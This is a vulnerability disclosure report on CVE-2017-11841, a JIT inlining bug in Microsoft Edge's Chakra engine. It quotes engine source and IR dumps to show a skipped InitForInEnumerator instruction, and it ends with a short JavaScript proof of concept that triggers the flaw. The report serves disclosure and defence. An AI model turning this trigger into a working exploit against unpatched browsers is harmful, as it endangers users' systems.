Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTarget_Shared doesn't return the return instruction CVE-2017-11841 Here's a snippet of Inline::Optimize. FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr) { switch (instr->m_opcode) { case Js::OpCode::Label: { ... if (instr->AsLabelInstr()->m_isForInExit) { Assert(this->currentForInDepth != 0); // The PoC hits this this->currentForInDepth--; } } break; case Js::OpCode::InitForInEnumerator: if (!func->IsLoopBody()) { this->currentForInDepth++; } break; case Js::OpCode::CallI: ... instrNext = builtInInlineCandidateOpCode != 0 ? this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) : this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth); ... } } "InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws. Before: s6.var = StartCall 1 (0x1).i32 #0000 arg1(s7)<0>.var = ArgOut_A s2.var, s6.var #0003 CallI s3.var, arg1(s7)<0>.var #0006 s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<--- NEXT INSTRUCTION After: s6.var = StartCall 1 (0x1).i32 #0000 ... s12.var = InlineeStart s3.var, iarg1(s7)<24>.var #0006 Func # (#1.3), #4 obj.inlinee s9[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # Func # (#1.3), #4 s8.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #0000 Func # (#1.3), #4 StatementBoundary #0 #0002 Func # (#1.3), #4 StatementBoundary #-1 #0002 Func # (#1.3), #4 InlineeEnd 4 (0x4).i32, s12.var #0000 Func # (#1.3), #4 StatementBoundary #0 #000c s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<---- NEXT INSTRUCTION As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow. Here's the call flow. Inline::InlineBuiltInFunction(...) { ... if (inlineCallOpCode == Js::OpCode::InlineFunctionCall) { inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth); return inlineBuiltInEndInstr->m_next; } ... } -> InlineCall -> InlineCallTarget -> Inline::InlineCallApplyTarget_Shared(...) { IR::Instr* instrNext = callInstr->m_next; return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget); } Inline::InlineFunctionCommon(...) { ... return instrNext; } The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed. In the PoC, "InitForInEnumerator" will be skipped. s16[LikelyUndefined_CanBeTaggedValue].var = CallI s6.var, arg2(s15)<8>.var #0015 << will be inlined InitForInEnumerator s16.var, s17.u64 #001f << Skipped PoC: function opt(obj) { for (let i in obj.inlinee.call({})) { } for (let i in obj.inlinee.call({})) { } } function main() { let obj = { inlinee: function () { } }; for (let i = 0; i < 10000; i++) opt(obj); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt